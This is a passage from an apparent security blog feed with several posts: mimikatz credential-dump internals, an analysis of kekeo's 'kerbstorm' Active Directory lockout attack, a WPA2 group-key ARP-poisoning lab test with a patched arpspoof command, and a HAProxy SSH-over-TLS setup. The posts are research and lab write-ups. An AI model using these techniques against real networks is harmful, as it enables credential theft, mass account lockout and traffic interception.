<a href="https://msdn.microsoft.com/de-de/library/cc245674.aspx">supplementalCredentials</a> like
WDigest and Kerberos Hashes. (see kn[][] in <a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump_remote.c">kuhl_m_lsadump_remote.c</a>)</p>
<p><img alt="mimikatz lsadump::lsa /inject /id:1001" src="https://blog.3or.de/images/mimikatz-lsadump-patch-inject-5.png"></p>
<p>While digging around in SamIRetrieveMultiplePrimaryCredentials (which is
directly called by SamIRetrievePrimaryCredentials, see below) some questions arised:</p>
<p><img alt="Disassembly of SamIRetrievePrimaryCredentials" src="https://blog.3or.de/images/mimikatz-lsadump-patch-inject-4.png"></p>
<ul>
<li>what is at $esi+0x80? $esi is, following the disassembly, the UserObject which
requests the credentials. I did not found any documentation which
explains this memory location?</li>
<li>At least the second bit $esi+0x80 has to be set so that <em>SampExtRetrieveMultiplePrimaryCredentials()</em>
is called. So we can assume this is the place where the granted access
rights of the passed user object are checked. I do not see any obvious reason why this code can't be
patched, to extend the /patch command to retrieve Kerberos and WDigest hashes?
Any idea?</li>
</ul>
<p>Anyhow, hopefully this post explains some things (or does at least rise some more
good questions ;)) and did reach the right level between highlevel overview and
deepdive. Personally I learned a lot of the inner workings of mimikatz and Windows
by digging around the disassembly of samsrv.dll and the source code of mimikatz!</p>
<p>As always: Feedback is very welcome!</p>kekeo: kerbstorm?2017-02-17T22:22:00+01:002017-02-17T22:22:00+01:00dimitag:blog.3or.de,2017-02-17:/kekeo-kerbstorm.html<p>Der Authentifizierungsdienst Kerberos ist ein komplexes Ungeheuer -
was es besonders spannend macht mit ihm zu spielen.
Ein Windows Active Directory bietet sich als Spielplatz besonders an,
vor allem wenn alle Jubeljahre ein Goldstück wie MS14-068 gefunden
wird. :) Besonders schön sind auch Angriffsvektoren wie AS-REP- und TGS-REP-Kerberoasting
von User-Principals, weil sie …</p><p>Der Authentifizierungsdienst Kerberos ist ein komplexes Ungeheuer -
was es besonders spannend macht mit ihm zu spielen.
Ein Windows Active Directory bietet sich als Spielplatz besonders an,
vor allem wenn alle Jubeljahre ein Goldstück wie MS14-068 gefunden
wird. :) Besonders schön sind auch Angriffsvektoren wie AS-REP- und TGS-REP-Kerberoasting
von User-Principals, weil sie zeigen, dass kleine Konfigurationsoptionen und -entscheidungen
große Auswirkungen haben - der Grund dafür, dass Basteleien nie nachhaltig
funktionieren werden. </p>
<p>Als ich mir vor einigen Tagen den <a href="https://www.youtube.com/watch?v=7mLifQiKdfk&feature=youtu.be">sehenswerten Talk von gentilwiki</a>
auf der Bluehat Israel angeschaut habe ist mir zum ersten mal der Begriff kerbstorm aufgefallen:</p>
<p><img alt="kerbstorm im YouTube-Video" src="https://blog.3or.de/images/kerbstorm-2.png"></p>
<p>Dann hat gestern gentilwili getwittert und nach kerbstorm gefragt:</p>
<p><img alt="kerbstorm im YouTube-Video" src="https://blog.3or.de/images/kerbstorm-1.png"></p>
<p>... und es gab keine Antwort auf die Frage "WTF is kerbstorm". :( Zufällig hatte ich mich nach dem Talk
genau das gefragt und schon eine Antwort, die für den geneigte Leserschaft ja
vielleicht interessant sein könnte ( Auflösung in der letzten Zeile des Posts ;) )</p>
<p>Da kerbstorm im aktuellen build von <a href="https://github.com/gentilkiwi/kekeo">kekeo</a> noch nicht eingebaut wurde,
ich absolut keine Lust darauf hatte das Tool selbst zu kompilieren, es überhaupt keine Doku gibt
und der Quellcode nicht wirklich komplex ist, habe ich mich auf die Quellcodeanalyse beschränkt:</p>
<p>Zunächst holt sich kerbstorm alle Nutzer eine Domäne über eine RPC-Schnittstelle, von der ich bisher noch nichts gehört hatte: MS-SAMR:</p>
<div class="highlight"><pre><span></span><code>numUserStatus = SamEnumerateUsersInDomain(hDomainHandle, &userEnumerationContext, USER_NORMAL_ACCOUNT, &pEnumUsersBuffer, 4*1024*1024, &userCountRetourned);
</code></pre></div>
<p>Anschließend wird für alle gefundenen Nutzer folgende AS-REQ 20 mal ($retry) an den DC geschickt:</p>
<div class="highlight"><pre><span></span><code><span class="n">KDC_REQ</span>
<span class="w"> </span><span class="n">PVNO</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span>
<span class="w"> </span><span class="n">MSG</span><span class="o">-</span><span class="n">TYPE</span><span class="p">:</span><span class="w"> </span><span class="n">AS_REQ</span>
<span class="w"> </span><span class="n">PA_DATA</span>
<span class="w"> </span><span class="n">PA</span><span class="o">-</span><span class="n">ENC</span><span class="o">-</span><span class="n">TIMESTAMP</span>
<span class="w"> </span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x36</span><span class="p">,</span><span class="w"> </span><span class="mh">0xa0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x03</span><span class="p">,</span><span class="w"> </span><span class="mh">0x02</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,[</span><span class="o">...</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">statisch</span><span class="p">)</span><span class="o">*</span>
<span class="w"> </span><span class="n">PAUSEC</span>
<span class="w"> </span><span class="n">KDC_REQ_BODY</span>
<span class="w"> </span><span class="n">KDC</span><span class="o">-</span><span class="n">OPTIONS</span>
<span class="w"> </span><span class="n">reserved</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">forwarded</span><span class="p">:</span><span class="bp">false</span>
<span class="w"> </span><span class="n">proxiable</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">proxy</span><span class="w"> </span><span class="bp">false</span><span class="w"> </span>
<span class="w"> </span><span class="n">allowed</span><span class="o">-</span><span class="n">postdate</span>
<span class="w"> </span><span class="n">postdated</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">unsued</span><span class="p">:</span><span class="bp">false</span><span class="w"> </span>
<span class="w"> </span><span class="n">renewable</span><span class="p">:</span><span class="w"> </span><span class="bp">true</span>
<span class="w"> </span><span class="n">unused</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span><span class="w"> </span>
<span class="w"> </span><span class="n">unused</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">opt</span><span class="o">-</span><span class="n">hardware</span><span class="o">-</span><span class="n">auth</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">request</span><span class="o">-</span><span class="n">anonymous</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">canonicalize</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span><span class="w"> </span>
<span class="w"> </span><span class="n">constrained</span><span class="o">-</span><span class="n">delegation</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">disable</span><span class="o">-</span><span class="n">transisted</span><span class="o">-</span><span class="n">check</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">renewable</span><span class="o">-</span><span class="n">ok</span><span class="p">:</span><span class="w"> </span><span class="bp">true</span><span class="w"> </span>
<span class="w"> </span><span class="n">enc</span><span class="o">-</span><span class="n">tkt</span><span class="o">-</span><span class="ow">in</span><span class="o">-</span><span class="n">skey</span><span class="p">:</span><span class="bp">false</span>
<span class="w"> </span><span class="n">renew</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span><span class="w"> </span>
<span class="w"> </span><span class="n">validate</span><span class="p">:</span><span class="w"> </span><span class="bp">false</span>
<span class="w"> </span><span class="n">CNAME</span><span class="w"> </span>
<span class="w"> </span><span class="n">KRB_NT_PRINCIPAL</span>
<span class="w"> </span><span class="o">$</span><span class="n">username</span><span class="w"> </span>
<span class="w"> </span><span class="o">$</span><span class="n">domain</span><span class="w"> </span>
<span class="w"> </span><span class="n">SNAME</span><span class="w"> </span>
<span class="w"> </span><span class="n">PrincipalName</span><span class="w"> </span>
<span class="w"> </span><span class="n">krbtgt</span><span class="w"> </span>
<span class="w"> </span><span class="n">domain</span>
<span class="w"> </span><span class="n">TILL</span><span class="w"> </span>
<span class="w"> </span><span class="mi">20370913024805</span><span class="n">Z</span>
<span class="w"> </span><span class="n">NONCE</span>
<span class="w"> </span><span class="mi">1853451123</span>
<span class="w"> </span><span class="n">ETYPE</span>
<span class="w"> </span><span class="n">KERB_ETYPE_RC4_HMAC_NT</span>
</code></pre></div>
<p>Ein wenig Hintergrund: Active Directory fordert in der Standardeinstellung beim
Authentifizierungsvorgang eine
so genannte Pre-Authentication: Damit ein Principal sich ein TGT vom KDC abholen kann,
muss dieser zunächst beweisen, dass der Principcal das Passwort kennt. Dazu verschlüsselt der Principal den aktuellen Timestamp.</p>
<p>Deaktivert man diese
Pre-Authentication kann ein Angreifer über eine Anfrage an den DC (AS-REQ) ein Stück Daten abfragen
(den EncryptedPart der AS-REP) was mit dem Passwort des Benutzers verschlüsselt ist. Mittels dieser Daten
kann ein Angreifer über BruteForce eventuell das Passwort des Nutzers zu erraten (john the ripper ist dein Freund).</p>
<p>In der obigen AS-REQ ist dieser verschlüsselte Timestamp statisch eingetragen. Ein AS-REQ mit falsch verschlüsseltem
Timestamp zählt im AD als fehlgeschlagener Anmeldeversuch. Damit ist auch klar was kerbstorm macht:
alle Nutzer im werden gesperrt indem die maximale Anzahl von fehlerhaften Passworteingaben erreicht wird. </p>
<p>So viele Worte für eine einfache Aussage: kerbstorm ist ein effizienter DoS-Angriff auf dein AD.</p>WPA2/802.11: Unicast Traffic, GTK und ARP Poisoning2017-01-07T22:22:00+01:002017-01-07T22:22:00+01:00dimitag:blog.3or.de,2017-01-07:/wpa280211-unicast-traffic-gtk-und-arp-poisoning.html<p>Einer der cooleren Talks auf dem 33C3 war
<a href="https://media.ccc.de/v/33c3-8195-predicting_and_abusing_wpa2_802_11_group_keys">Predicting, Decrypting, and Abusing WPA2/802.11 Group
Keys</a> von Mathy Vanhoef.
Hauptpunkt des Talks ist die mögliche Berechenbarkeit von in WPA2/802.11
genutzten Schlüsseln, speziell den so genannten GMK (Group Master Key).
Vom GMK abgeleitete Schlüssel werden in 802.11-Netzen …</p><p>Einer der cooleren Talks auf dem 33C3 war
<a href="https://media.ccc.de/v/33c3-8195-predicting_and_abusing_wpa2_802_11_group_keys">Predicting, Decrypting, and Abusing WPA2/802.11 Group
Keys</a> von Mathy Vanhoef.
Hauptpunkt des Talks ist die mögliche Berechenbarkeit von in WPA2/802.11
genutzten Schlüsseln, speziell den so genannten GMK (Group Master Key).
Vom GMK abgeleitete Schlüssel werden in 802.11-Netzen genutzt um Broadcast und<br>
Multicast-Traffic zu verschlüsseln (meist ist das Traffic vom AP zu den STA).
Der Client erhält diesen abgeleiteten Schlüssel GTK (Group Temporal Key)
vom AP während des 4-Wege-Handshakes.</p>
<p>Ursache für die Berechenbarkeit der Schlüssel sind schlechte
Zufallszahlengeneratoren. Der Standard lässt offen welche Zufallsquellen
genutzt werden, was bedeutet, dass nicht alle Hersteller betroffen sind (hostapd
unter Linux z.B. nicht, da hier /dev/random oder /dev/urandom genutzt wird).
Das macht die Sache natürlich spannender. Angriffe, die ein wenig Zufall, ein wenig Crypto und
ein wenig Netzwerk drin haben sind halt immer noch die schönsten. ;)</p>
<p>Wie gesagt betreffen diese schwachen Keys nur Broadcast und Multicast-Traffic.
Wie kommt man also an den Unicast-Traffic eines Clients? Im Talk wurde das
innerhalb von 2 Minuten erklärt, im Paper sind leider auch nicht mehr Details.
Insgesamt sind die Beschreibungen aber ausreichend um diesen Teil des Angriffs in einem
kleinen Testaufbau nachvollziehen zu können. Die Tools für die Berechnung des
GMK wurden leider, afaik, noch nicht veröffentlicht.</p>
<p>Ausgangssituation:</p>
<ul>
<li>3 WLAN-Geräte: STA_A (Alice Client), STA_M (Mallory Client), AP (Access Point)</li>
<li>Mallory hat den GMK und den abgeleiteten GTK erfolgreich berechnet</li>
<li>Mallory kann Unicast-Frames injecten (wie steht im Paper)</li>
</ul>
<p>Die Idee: Mittels ARP Poisoning setzt STA_M die MAC, im jeweiligen Cache von STA_A und AP,
auf Broadcast-MAC. Da jetzt auf Layer 2 die Broadcast-MAC adressiert wird,
verschlüsseln die betroffenen Systeme Unicast-Traffic mit dem GTK statt mit dem
PTK. Extrem simple und tolle Idee! Das musste ich ausprobieren. Mein Testaufbau:</p>
<ul>
<li>2 STA im WLAN, STA_A und STA_M</li>
<li>Ein einfacher OpenWRT-Router mit AP</li>
</ul>
<p>Da mein Ziel ist herauszufinden ob der AP tatsächlich den Traffic mit dem GTK
verschlüsselt habe ich in meinem Wireshark auf STA_M die decryption (mittels
PMK) aktiviert - d.h. ihr seht auf den Screenshots allen Traffic (nicht nur den
mit dem GTK verschlüsselten) entschlüsselten den Traffic.</p>
<p>Wie erkennt man mittels welchem Schlüssel ein Frame verschlüsselt wurde?
Wireshark, großartig wie immer, zeigt an Schlüssel direkt an!</p>
<p><a href="https://blog.3or.de/images/wpa2-80211-unicast-traffic-gtk-arp-poisoning-1.png"><img alt="Wireshark PMG 802.11" src="/thumbnails/400px/wpa2-80211-unicast-traffic-gtk-arp-poisoning-1.png"></a></p>
<p>So sieht ein normaler, entschlüsselter Ping im Wireshark aus. D.h. über den Key
index (1/2 heißt Broadcast, 0 Unicast) oder der Angabe des Keys können wir direkt welcher
Schlüssel zur Verschlüsselung des Frames genutzt wurde - in diesem Fall mittels PMK/PTK, also
normaler Unicast-Traffic zwischen AP und STA_A.</p>
<p>Um den Angriff auszuprobieren muss nun STA_M die MAC-Adressen, wie oben
beschrieben, spoofen. </p>
<p>Erstes Problem:</p>
<p>Meine OpenWRT-Kiste hatte keine Tools installiert um einen
statischen MAC-Eintrag zu setzen und der Speicherplatz reicht nicht mehr um
welche nach zu installieren (-.-). Lösung: Richtig spoofen! ;)</p>
<p>Nächstes Problem: </p>
<p>Auf die schnelle hab ich kein ARP-Spoofing-Tool gefunden was
es im ARP reply erlaubt als Sender MAC die Broadcast (FF:FF:FF:FF:FF:FF) zu nutzen -
für den klassischen ARP Spoof ist das ja auch nicht sinnvoll. Also hab ich mir das
dsniff-Package von Arch geschnappt und den Quellcode von arpspoof gepachted:</p>
<div class="highlight"><pre><span></span><code><span class="n">dimi</span><span class="nv">@hermes</span><span class="w"> </span><span class="o">~/</span><span class="n">dsniff</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">dsniff</span><span class="o">-</span><span class="mf">2.4</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">diff</span><span class="w"> </span><span class="n">arpspoof</span><span class="p">.</span><span class="n">c</span><span class="w"> </span><span class="o">~/</span><span class="n">dsniff</span><span class="o">-</span><span class="n">patched</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">dsniff</span><span class="o">-</span><span class="mf">2.4</span><span class="o">/</span><span class="n">arpspoof</span><span class="p">.</span><span class="n">c</span><span class="w"> </span>
<span class="mi">300</span><span class="n">c300</span>
<span class="o"><</span><span class="w"> </span><span class="n">arp_send</span><span class="p">(</span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">ARPOP_REPLY</span><span class="p">,</span><span class="w"> </span><span class="n">my_ha</span><span class="p">,</span><span class="w"> </span><span class="n">spoof</span><span class="p">.</span><span class="n">ip</span><span class="p">,</span>
<span class="o">---</span>
<span class="o">></span><span class="w"> </span><span class="n">arp_send</span><span class="p">(</span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">ARPOP_REPLY</span><span class="p">,</span><span class="w"> </span><span class="n">brd_ha</span><span class="p">,</span><span class="w"> </span><span class="n">spoof</span><span class="p">.</span><span class="n">ip</span><span class="p">,</span>
</code></pre></div>
<p>Und schon funktioniert es:</p>
<div class="highlight"><pre><span></span><code><span class="n">dimi</span><span class="nv">@hermes</span><span class="w"> </span><span class="o">~/</span><span class="n">dsniff</span><span class="o">-</span><span class="n">patched</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">dsniff</span><span class="o">-</span><span class="mf">2.4</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">sudo</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="n">arpspoof</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">wlp4s0u2</span><span class="w"> </span><span class="o">-</span><span class="n">t</span><span class="w"> </span><span class="mf">192.168.2.1</span><span class="w"> </span><span class="mf">192.168.2.148</span>
<span class="mi">16</span><span class="err">:</span><span class="nl">b</span><span class="p">:</span><span class="mi">37</span><span class="err">:</span><span class="nl">d5</span><span class="p">:</span><span class="nl">f0</span><span class="p">:</span><span class="n">ce</span><span class="w"> </span><span class="mi">98</span><span class="err">:</span><span class="nl">de</span><span class="p">:</span><span class="nl">d0</span><span class="p">:</span><span class="nl">fe</span><span class="p">:</span><span class="mi">51</span><span class="err">:</span><span class="mi">1</span><span class="n">c</span><span class="w"> </span><span class="mi">0806</span><span class="w"> </span><span class="mi">42</span><span class="err">:</span><span class="w"> </span><span class="n">arp</span><span class="w"> </span><span class="n">reply</span><span class="w"> </span><span class="mf">192.168.2.148</span><span class="w"> </span><span class="k">is</span><span class="o">-</span><span class="k">at</span><span class="w"> </span><span class="nl">ff</span><span class="p">:</span><span class="nl">ff</span><span class="p">:</span><span class="nl">ff</span><span class="p">:</span><span class="nl">ff</span><span class="p">:</span><span class="nl">ff</span><span class="p">:</span><span class="n">ff</span>
</code></pre></div>
<p>Lässt man nun den Spoof gegen STA_A und AP rennen sieht das Netz zusammengefasst
wie folgt aus:</p>
<ul>
<li>
<p>STA_A</p>
<ul>
<li>ARP-Cache: FF:FF:FF:FF:FF:FF 192.168.1.1</li>
<li>IP STA_A: 192.168.2.148</li>
<li>Gateway: 192.168.2.1</li>
</ul>
</li>
<li>
<p>GW/AP:</p>
<ul>
<li>ARP-Cache: FF:FF:FF:FF:FF:FF 192.168.2.148</li>
<li>IP: 192.168.2.1</li>
</ul>
</li>
</ul>
<p>Setzt man jetzt einen Ping von vom GW zu STA_A ab, sieht Mallory folgenden
Traffic:</p>
<p><img alt="Wireshark PMG 802.11" src="https://blog.3or.de/images/wpa2-80211-unicast-traffic-gtk-arp-poisoning-3.png"></p>
<p>Und die Details:</p>
<p><a href="https://blog.3or.de/images/wpa2-80211-unicast-traffic-gtk-arp-poisoning-2.png"><img alt="Wireshark PMG 802.11" src="/thumbnails/400px/wpa2-80211-unicast-traffic-gtk-arp-poisoning-2.png"></a></p>
<p>Sehr schön zu sehen: STA_M sieht in diesem Fall 2 ICMP replys, einer davon mit
einem PTK verschlüsselt. Dieses ist die Antwort vom STA_A an den AP. Da hier die
Receiver Address explizit der AP ist, wird dieses Frame mit dem PTK
verschlüsselt - obwohl die letztendliche Destination die Broadcast-Adresse ist.
Hätte STA_M nicht den PMK wäre dieses Frame an dieser Stelle
verschlüsselt geblieben. Bei der zweiten ICMP reply handelt es sich um das
gleiche Paket, welches durch den AP aber entschlüsselt, mit dem GTK (siehe GTK
im rechten und linken Bild)
verschlüsselt und dann an die Broadcast-Adresse im Netz relayed wurde -
ursprünglich ein Unicast-Paket welches STA_M durch das ARP Poisoning mitlesen
kann. Cool!</p>
<h2>Offene Fragen und Todos</h2>
<p>Einige Erfahrungen, die ich während meines Tests gemacht habe (gerne Input per
Mail, falls jemand ne gute Idee hat ;) )</p>
<ul>
<li><a href="https://www.aircrack-ng.org/">airtun-ng</a> und <a href="https://github.com/mfontanini/dot11decrypt">dot11decrypt</a>
entschlüsseln scheinbar mittels GTK verschlüsselte Frames nicht? (oder zeigen sie zumindest nicht an)</li>
<li>Gibt es Implementierungen für Scapy, die eine komplette WPA2-Authentifizierung erlauben? Es gibt ein
Dot11 Layer und Funktionen für WEP-Decrypt, aber nichts für eine normale Association?</li>
<li>Es gibt noch keine Implementierung, die den obigen Angriff automatisiert?</li>
<li>Es gibt noch kein öffentliches Tool um den GMK für die betroffenen Hersteller zu berechnen?</li>
<li>Unicast Injection über den GTK ausprobieren!</li>
</ul>
<h2>Links</h2>
<ul>
<li><a href="http://papers.mathyvanhoef.com/usenix2016-wifi.pdf">Predicting, Decrypting, and Abusing WPA2/802.11 Group Keys</a> (Paper)</li>
<li><a href="http://papers.mathyvanhoef.com/usenix2016-wifi-slides.pdf">Predicting, Decrypting, and Abusing WPA2/802.11 Group Keys</a> (Slides)</li>
<li><a href="https://github.com/vanhoefm">GitHub vanhoefm</a></li>
</ul>Tunnel all the protocols2016-11-14T22:22:00+01:002016-11-14T22:22:00+01:00dimitag:blog.3or.de,2016-11-14:/tunnel-all-the-protocols.html<p>TLS(SSH()) und TLS(HTTP()) - beides über denselben Port? Mit HAProxy kein Problem.</p><p>Um in einer kleinen, containerisieren Umgebung mehrere Webserver
hinter einer IP zu betreiben habe ich mir mal HAProxy als Reverse Proxy angeschaut.
Dabei sind mir die mächtigen acls aufgefallen mittels welcher man flexibel unterschiedliche Backends ansprechen kann.
Diese acls lassen Konstellationen dieser Art zu:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="o">+-----------+</span>
<span class="o">+-----------+</span><span class="w"> </span><span class="o">+-----------+</span><span class="w"> </span><span class="o">|</span><span class="n">sshd</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="n">Client</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="n">HAProxy</span><span class="w"> </span><span class="o">+---------------></span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+------------------------------+</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+-----------+</span>
<span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="n">TLS</span><span class="o">-</span><span class="n">Tunnel</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+-----------+</span>
<span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+------------------------------+</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">+---------------></span><span class="w"> </span><span class="o">|</span><span class="n">httpd</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span>
<span class="o">+-----------+</span><span class="w"> </span><span class="o">+-----------+</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span>
<span class="w"> </span><span class="o">+-----------+</span>
</code></pre></div>
<p>HAProxy entscheidet anhand der ersten übertragenen Byte an welchen Deamon die
Verbindung weitergeleitet werden soll. SSH beispielsweise definiert folgenden
<em>identification string</em> in RFC 4253, den Client und Server nach erfolgreich
aufgebauter TCP-Verbindung austauschen müssen:</p>
<div class="highlight"><pre><span></span><code>SSH-protoversion-softwareversion SP comments CR LF
</code></pre></div>
<p>Wobei protoversion "2.0" oder (hoffentlich nicht mehr) "1.0" sein können.</p>
<p>Mit folgender einfachen HAProxy-Konfig lässt sich die oben abgebildete Magie
realisieren:</p>
<div class="highlight"><pre><span></span><code><span class="n">global</span>
<span class="w"> </span><span class="n">chroot</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">haproxy</span>
<span class="w"> </span><span class="n">user</span><span class="w"> </span><span class="n">haproxy</span>
<span class="w"> </span><span class="n">group</span><span class="w"> </span><span class="n">haproxy</span>
<span class="w"> </span><span class="n">daemon</span>
<span class="w"> </span><span class="n">ca</span><span class="o">-</span><span class="n">base</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">ssl</span><span class="o">/</span><span class="n">certs</span>
<span class="w"> </span><span class="n">crt</span><span class="o">-</span><span class="n">base</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">ssl</span><span class="o">/</span><span class="n">private</span>
<span class="w"> </span><span class="n">ssl</span><span class="o">-</span><span class="n">default</span><span class="o">-</span><span class="n">bind</span><span class="o">-</span><span class="n">ciphers</span>
<span class="n">ECDH</span><span class="o">+</span><span class="n">AESGCM</span><span class="p">:</span><span class="n">DH</span><span class="o">+</span><span class="n">AESGCM</span><span class="p">:</span><span class="n">ECDH</span><span class="o">+</span><span class="n">AES256</span><span class="p">:</span><span class="n">DH</span><span class="o">+</span><span class="n">AES256</span><span class="p">:</span><span class="n">ECDH</span><span class="o">+</span><span class="n">AES128</span><span class="p">:</span><span class="n">DH</span><span class="o">+</span><span class="n">AES</span><span class="p">:</span><span class="n">ECDH</span><span class="o">+</span><span class="mi">3</span><span class="n">DES</span><span class="p">:</span><span class="n">DH</span><span class="o">+</span><span class="mi">3</span><span class="n">DES</span><span class="p">:</span><span class="n">RSA</span><span class="o">+</span><span class="n">AESGCM</span><span class="p">:</span><span class="n">RSA</span><span class="o">+</span><span class="n">AES</span><span class="p">:</span><span class="n">RSA</span><span class="o">+</span><span class="mi">3</span><span class="n">DES</span><span class="p">:</span><span class="o">!</span><span class="n">aNULL</span><span class="p">:</span><span class="o">!</span><span class="n">MD5</span><span class="p">:</span><span class="o">!</span><span class="n">DSS</span>
<span class="w"> </span><span class="n">ssl</span><span class="o">-</span><span class="n">default</span><span class="o">-</span><span class="n">bind</span><span class="o">-</span><span class="n">options</span><span class="w"> </span><span class="n">no</span><span class="o">-</span><span class="n">sslv3</span>
<span class="n">backend</span><span class="w"> </span><span class="n">httpd</span>
<span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="n">http</span>
<span class="w"> </span><span class="n">rspadd</span><span class="w"> </span><span class="n">Strict</span><span class="o">-</span><span class="n">Transport</span><span class="o">-</span><span class="n">Security</span><span class="p">:</span>\<span class="w"> </span><span class="nb">max</span><span class="o">-</span><span class="n">age</span><span class="o">=</span><span class="mi">31536000</span>
<span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">local_http_server</span><span class="w"> </span><span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">80</span>
<span class="n">backend</span><span class="w"> </span><span class="n">sshd</span>
<span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="n">tcp</span>
<span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">ssh</span><span class="w"> </span><span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">22</span>
<span class="w"> </span><span class="n">timeout</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="mi">2</span><span class="n">h</span>
<span class="n">frontend</span><span class="w"> </span><span class="n">ssl</span>
<span class="w"> </span><span class="n">mode</span><span class="w"> </span><span class="n">tcp</span>
<span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="o">*</span><span class="p">:</span><span class="mi">443</span><span class="w"> </span><span class="n">ssl</span><span class="w"> </span><span class="n">crt</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">haproxy</span><span class="o">/</span><span class="n">cert</span><span class="o">-</span><span class="n">key</span><span class="o">.</span><span class="n">pem</span><span class="w"> </span><span class="n">no</span><span class="o">-</span><span class="n">sslv3</span>
<span class="w"> </span><span class="n">tcp</span><span class="o">-</span><span class="n">request</span><span class="w"> </span><span class="n">inspect</span><span class="o">-</span><span class="n">delay</span><span class="w"> </span><span class="mi">5</span><span class="n">s</span>
<span class="w"> </span><span class="n">tcp</span><span class="o">-</span><span class="n">request</span><span class="w"> </span><span class="n">content</span><span class="w"> </span><span class="n">accept</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">HTTP</span>
<span class="w"> </span><span class="n">acl</span><span class="w"> </span><span class="n">client_attempts_sshregex</span><span class="w"> </span><span class="n">req</span><span class="o">.</span><span class="n">payload</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">7</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">reg</span><span class="w"> </span><span class="s2">"^SSH-[1|2]{1}\.0.*"</span>
<span class="w"> </span><span class="n">use_backend</span><span class="w"> </span><span class="n">sshd</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">client_attempts_sshregex</span>
<span class="w"> </span><span class="n">use_backend</span><span class="w"> </span><span class="n">httpd</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">HTTP</span>
</code></pre></div>
<p>Im <em>frontend</em> wird eine acl definiert, die per regulärem Ausdruck SSH-1.0* und
SSH-2.0* matched und in diesem Fall das <em>backend</em> sshd als Ziel nutzt. Wenn HTTP
gesprochen wird läuft die Verbindung auf den httpd.</p>
<p>Mit openssl lässt sich diese Konstruktion testen. SSH in TLS:</p>
<div class="highlight"><pre><span></span><code><span class="n">Host</span><span class="o">:</span><span class="n">dimi</span><span class="err">@</span><span class="n">lnx</span><span class="o">:~</span><span class="err">#</span><span class="w"> </span><span class="n">openssl</span><span class="w"> </span><span class="n">s_client</span><span class="w"> </span><span class="o">-</span><span class="n">connect</span><span class="w"> </span><span class="n">blog</span><span class="o">.</span><span class="mi">3</span><span class="n">or</span><span class="o">.</span><span class="na">de</span><span class="o">:</span><span class="mi">443</span><span class="w"> </span><span class="o">-</span><span class="n">quiet</span><span class="w"> </span>
<span class="n">SSH</span><span class="o">-</span><span class="mf">2.0</span>
